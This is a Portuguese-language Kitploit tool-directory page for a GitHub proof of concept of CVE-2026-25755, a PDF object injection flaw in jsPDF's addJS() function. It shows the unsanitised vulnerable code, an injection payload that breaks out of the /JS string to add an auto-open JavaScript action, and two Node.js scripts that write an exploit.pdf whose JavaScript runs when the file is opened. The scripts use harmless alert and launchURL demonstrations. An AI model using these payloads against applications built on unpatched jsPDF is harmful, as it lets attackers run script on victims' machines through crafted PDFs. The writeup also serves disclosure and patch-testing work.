Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 Uma vulnerabilidade crítica de Injeção de Objetos PDF no jsPDF permite que atacantes injetem objetos PDF arbitrários por meio da função `addJS()`, possibilitando a bypass da sandbox AcroJS e a execução automática de scripts quando os PDFs são abertos. | Kitploit
Ferramentas/GitHubGitHub/absholi7ly/jspdf-object-injection
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 Uma vulnerabilidade crítica de Injeção de Objetos PDF no jsPDF permite que atacantes injetem objetos PDF arbitrários por meio da função `addJS()`, possibilitando a bypass da sandbox AcroJS e a execução automática de scripts quando os PDFs são abertos.

Ver Repositório
12há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25755 Falha de Sandbox Contornada no jsPDF para Injeção de Objetos

Visão Geral

Uma vulnerabilidade crítica de Injeção de Objetos PDF (CVE-2026-25755) foi descoberta no jsPDF, uma biblioteca JavaScript amplamente utilizada para gerar documentos PDF em aplicações client-side. A vulnerabilidade existe na função addJS(), permitindo que atacantes injetem objetos PDF arbitrários e contornem as restrições da sandbox AcroJS por meio de sanitização inadequada de entrada.


Causa Raiz

A função addJS() no jsPDF permite que desenvolvedores incorporem código JavaScript dentro de arquivos PDF gerados. No entanto, antes da versão 4.2.0, a função falhava ao sanitizar adequadamente a entrada do usuário contendo caracteres especiais de sintaxe PDF.

Código Vulnerável (Pré-4.2.0)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

O Vetor de Injeção

A função concatena diretamente a entrada do usuário em fluxos de objetos PDF sem escapar:

  • Parêntese de abertura (
  • Parêntese de fechamento )
  • Barra invertida \

Isso permite que atacantes fechem prematuramente o contexto da string JavaScript e injetem objetos PDF arbitrários.

Estrutura JavaScript do PDF

root@kitploit:~
/JS (app.alert('Hello World'))

Payload de Injeção

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

Fluxo de Objetos PDF

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     Ponto de injeção - contexto da string escapado

Mecanismo de Injeção

EtapaAçãoResultado
1) fecha a string /JS originalContexto da string terminado
2>> fecha o objeto PDF atualEstrutura do objeto quebrada
3/AA << /Open << ...Novo dicionário de ação injetado
4Objetos PDF arbitrários adicionadosInjeção completa de objetos alcançada

Código PoC (Node.js)

Crie um arquivo chamado exploit.js e escreva o seguinte nele

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

Payload

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
Execute node exploit.js

Resultado: O arquivo exploit.pdf foi criado na mesma pasta.

Baixar ferramenta